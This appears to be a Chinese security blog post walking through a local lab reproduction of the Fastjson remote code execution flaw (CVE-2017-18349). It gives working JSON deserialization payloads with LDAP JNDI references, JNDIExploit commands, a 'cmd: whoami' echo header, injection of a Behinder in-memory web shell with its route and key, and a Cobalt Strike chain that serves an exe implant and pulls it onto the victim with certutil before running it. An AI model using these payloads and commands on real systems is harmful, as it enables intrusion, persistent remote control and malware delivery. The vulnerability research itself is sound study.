0X01 环境搭建
Java环境:JDK 8
物理机环境:Windows 11
Tomcat版本:8.5.0
Maven版本:3.9.8
IDEA版本:最新版本
-
Idea打开源码文件夹,配置maven(上篇文章有讲)
-
配置jdk环境
-
刷新maven
-
启动项目(这里我使用的8081端口,修改端口可以在application.properties文件修改)
-
启动成功
0X02 漏洞复现
打开burp进行抓包,发送到重发器
修改为POST请求方式
构造json数据验证是否运行正常,这里需要注意,application/json、POST请求、Json请求体
运行正常,下面测试漏洞
查看是否存在fastjson特征
payload:
{"b":{"@type": "java.lang.AutoCloseable","autoCommit":true}}
可以看到 com.alibaba.fastjson 特征
测试是否存在fastjson漏洞
payload:
{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"exp","autoCommit":true}}
这里使用到了JNDIExploit-1.4-SNAPSHOT.jar工具 (jdk8启动)
命令:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -u -i 127.0.0.1
具体参数是什么用处可以百度
启动 JNDIExploit-1.4-SNAPSHOT.jar 工具
命令:
java -jar JNDIExploit-1.4-SNAPSHOT.jar -
i 127.0.0.1
使用工具提供payload:
ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
{"a": {"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b": {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho","autoCommit":true}}
hander添加字段:cmd: whoami
点击burp "send"发送数据包
漏洞利用完成
0X03 注入冰蝎内存马
使用jndi payload:
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell3
发包
冰蝎连接 路由:/ateam key:pass1024
漏洞利用成功
0X04 上线CS
CS版本:4.7 (注意远程VPS使用版本和客户端要一致)
远程VPS:本地虚拟机 kali
本地虚拟机启动cs teamserver (模拟远程VPS端)
本地物理机开启CS客户端(模拟攻击者机器)
新建监听器
生成exe马
配置监听器,保存至桌面
将生成exe马上传至远程VPS (这里我是kali虚拟机),远程VPS启动http服务(这里是为了后面受害机器远程下载恶意文件)
命令:
python3 -m http.server 启用端口
执行Windows命令使受害机器远程下载恶意文件至指定目录
命令:
certutil -urlcache -split -f 远程地址 指定本地下载文件存放地址
jndi工具的payload仍然为
ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
此时JNDI工具仍开启状态
burp构造exp,发包,远程下载成功
执行1.exe,上线CS
返回CS,上线成功
梦想再多,努力实现就是了
原文始发于微信公众号(朱厌安全):FastJson-RCE (CVE-2017-18349) 漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论